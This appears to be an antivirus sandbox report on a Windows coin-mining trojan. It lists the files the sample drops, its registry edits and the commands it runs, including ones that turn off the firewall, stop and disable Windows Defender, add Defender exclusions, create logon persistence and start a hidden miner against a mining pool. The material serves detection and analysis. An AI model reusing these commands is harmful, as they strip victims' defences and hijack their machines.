Technical Information
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
- Windows Defender
- '%WINDIR%\syswow64\netsh.exe' Advfirewall set allprofiles state off
- '%WINDIR%\syswow64\net.exe' stop windefend
- %TEMP%\aut8b9c.tmp
- %ALLUSERSPROFILE%\defender\windows protection.exe
- %TEMP%\aut6f57.tmp
- %ALLUSERSPROFILE%\defender\winring0x64.sys
- %TEMP%\aut6f68.tmp
- %ALLUSERSPROFILE%\defender\start.exe
- %TEMP%\aut6f88.tmp
- %ALLUSERSPROFILE%\defender\start.vbs
- %TEMP%\aut6fc7.tmp
- %ALLUSERSPROFILE%\defender\k.bat
- %TEMP%\aut6fd8.tmp
- %ALLUSERSPROFILE%\defender\k.vbs
- %ALLUSERSPROFILE%\defender\d.exe
- %TEMP%\aut6fe9.tmp
- %TEMP%\aut6ff9.tmp
- %ALLUSERSPROFILE%\defender\s.vbs
- %TEMP%\aut7048.tmp
- %ALLUSERSPROFILE%\defender\s.bat
- %TEMP%\aut7059.tmp
- %ALLUSERSPROFILE%\defender\timeout.ps1
- %TEMP%\aut7098.tmp
- %ALLUSERSPROFILE%\defender\windows process.exe
- %TEMP%\ad8d.tmp\ad8e.tmp\b01e.bat
- %WINDIR%\syswow64\grouppolicy\gpt.ini
- <SYSTEM32>\grouppolicy\machine\registry.pol
- %ALLUSERSPROFILE%\task host\svchost.exe
- %TEMP%\aut6d82.tmp
- %TEMP%\aut6ce5.tmp
- %ALLUSERSPROFILE%\defender\c1.exe
- %ALLUSERSPROFILE%\defender\ac.exe
- %TEMP%\aut8bdb.tmp
- %ALLUSERSPROFILE%\defender\ab.exe
- %ALLUSERSPROFILE%\defender\dc.ini
- %ALLUSERSPROFILE%\defender\dd.bat
- %ALLUSERSPROFILE%\defender\ddd.bat
- %ALLUSERSPROFILE%\defender\dc.exe
- %ALLUSERSPROFILE%\defender\dd.vbs
- %TEMP%\auta075.tmp
- %ALLUSERSPROFILE%\defender\ac1.exe
- %ALLUSERSPROFILE%\defender\a.exe
- %ALLUSERSPROFILE%\defender\crdllunload32.dll
- <SYSTEM32>\grouppolicy\gpt.ini
- %ALLUSERSPROFILE%\defender\p.vbs
- %ALLUSERSPROFILE%\defender\crdllunload64.dll
- %ALLUSERSPROFILE%\defender\d1.exe
- %ALLUSERSPROFILE%\defender\l.exe
- %ALLUSERSPROFILE%\defender\l.ini
- %ALLUSERSPROFILE%\defender\t.bat
- %ALLUSERSPROFILE%\defender\t.vbs
- %ALLUSERSPROFILE%\defender\u.exe
- %ALLUSERSPROFILE%\defender\usrfindhandle32.sys
- %ALLUSERSPROFILE%\defender\usrfindhandle64.sys
- %ALLUSERSPROFILE%\defender\v.bat
- %ALLUSERSPROFILE%\defender\w.bat
- %TEMP%\autd2bc.tmp
- %ALLUSERSPROFILE%\defender\config.json
- %ALLUSERSPROFILE%\defender\d.vbs
- <SYSTEM32>\grouppolicy\user\registry.pol
- %TEMP%\aut8b9c.tmp
- %TEMP%\aut7059.tmp
- %TEMP%\aut7048.tmp
- %TEMP%\aut6ff9.tmp
- %TEMP%\aut6fe9.tmp
- %TEMP%\aut6fd8.tmp
- %TEMP%\aut6fc7.tmp
- %TEMP%\aut7098.tmp
- %TEMP%\aut6f88.tmp
- %TEMP%\aut6f57.tmp
- %TEMP%\aut6d82.tmp
- %TEMP%\aut6ce5.tmp
- %TEMP%\autd2bc.tmp
- %TEMP%\auta075.tmp
- %TEMP%\aut8bdb.tmp
- %TEMP%\aut6f68.tmp
- %TEMP%\ad8d.tmp\ad8e.tmp\b01e.bat
- '17#.#11.238.165':5500
- ClassName: 'EDIT' WindowName: ''
- '%ALLUSERSPROFILE%\defender\ab.exe' -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
- '%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\Defender\dd.vbs"
- '%ALLUSERSPROFILE%\defender\ac1.exe' -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
- '%ALLUSERSPROFILE%\defender\u.exe'
- '%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\Defender\d.vbs"
- '%ALLUSERSPROFILE%\defender\d.exe' 70 %ALLUSERSPROFILE%\Defender\d1.exe
- '%ALLUSERSPROFILE%\defender\ac.exe' -pMym5DNNMnqsLhbcZaef2Zau9zuxyKFRzEav3QTVA
- '%ALLUSERSPROFILE%\defender\c1.exe'
- '%ALLUSERSPROFILE%\defender\start.exe'
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\Defender\s.vbs"
- '%ALLUSERSPROFILE%\task host\svchost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -executionpolicy Unrestricted %ALLUSERSPROFILE%\Defender\timeout.ps1
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\Defender\p.vbs"
- '%ALLUSERSPROFILE%\defender\windows protection.exe'
- '%ALLUSERSPROFILE%\defender\windows process.exe' --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 30 -u RRL8ppAwBsw28SR8cTZjmdyRnwaT8BC2L7.k
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN "Windows Protection" /TR "%ALLUSERSPROFILE%\Defender\Start.exe" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Task Host" /t REG_DWORD /d 0 /f
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1BBB.tmp" "%TEMP%\CSC1BAA.tmp"
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pw5upzj4.cmdline"
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '%WINDIR%\syswow64\net1.exe' stop windefend
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\Defender\s.bat" "
- '<SYSTEM32>\timeout.exe' /t 10
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\AD8D.tmp\AD8E.tmp\B01E.bat %ALLUSERSPROFILE%\Defender\Start.exe"
- '%WINDIR%\syswow64\cmd.exe' /c ""%ALLUSERSPROFILE%\Defender\t.bat" "
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Defender" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c ""%ALLUSERSPROFILE%\Defender\t.bat" "' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1BBB.tmp" "%TEMP%\CSC1BAA.tmp"' (with hidden window)
- '%ALLUSERSPROFILE%\defender\windows process.exe' --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 30 -u RRL8ppAwBsw28SR8cTZjmdyRnwaT8BC2L7.k' (with hidden window)
- '%ALLUSERSPROFILE%\defender\windows protection.exe' ' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pw5upzj4.cmdline"' (with hidden window)
- '%ALLUSERSPROFILE%\task host\svchost.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\Defender\s.bat" "' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\AD8D.tmp\AD8E.tmp\B01E.bat %ALLUSERSPROFILE%\Defender\Start.exe"' (with hidden window)
- '%ALLUSERSPROFILE%\defender\d.exe' 70 %ALLUSERSPROFILE%\Defender\d1.exe' (with hidden window)